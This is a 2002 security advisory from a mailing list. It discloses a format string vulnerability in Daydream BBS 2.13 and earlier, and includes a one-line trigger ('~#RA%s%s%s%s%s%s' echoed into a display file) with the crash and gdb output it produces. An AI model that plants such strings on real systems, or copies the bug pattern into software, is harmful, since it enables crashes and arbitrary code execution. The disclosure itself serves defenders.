[UNIX] Daydream BBS Format String Vulnerability

From: support@securiteam.com
Date: 01/02/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Wed,  2 Jan 2002 21:38:20 +0100 (CET)

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  Daydream BBS Format String Vulnerability
------------------------------------------------------------------------

SUMMARY

 <http://daydream.iwn.fi/about.html> Daydream BBS provides a stable, fully
configurable bulletin board system. A security vulnerability in the
product allows attackers to exploit a format string vulnerability in the
product and execute arbitrary code.

DETAILS

Vulnerable systems:
Daydream version 2.13 and prior

Background:
~#RA[FILE]|[max]|
 Shows random textfile. Format for file is "/path/foobar%d.ext", where %d
is a random number (1-[max]).

Example:

echo "~#RA%s%s%s%s%s%s" > filetoupload.gfx. Then place this file on the
server and view it via the menu system.

Simple test to proove existance:
[root@linuxppc <mailto:root@linuxppc> bbs]# echo "~#RA%s%s%s%s%s%s" >
display/iso/welcome.gfx

·| All accounts deleted - login |·
:| as NEW! |:
:| |:.
 ....:::| NEW / CHAT / LOGOFF |:::.... .
`------------------------------'

Username: test
Password: ****

Program received signal SIGSEGV, Segmentation fault.
formatted_print (buffer=0x7fffda48 '-' <repeats 70 times>, ")\n",
flags=268615586) at typetext.c:594
594 *cm++ = *sr++;
(gdb) bt
#0 formatted_print (buffer=0x7fffda48 '-' <repeats 70 times>, ")\n",
flags=268615586) at typetext.c:594
(gdb) x/10s $r1
0x7fffd440: "\177ÿÚ\220\020\001Öì%s%s%s%s%s%s\n"

ADDITIONAL INFORMATION

The information has been provided by <mailto:dotslash@snosoft.com> KF.

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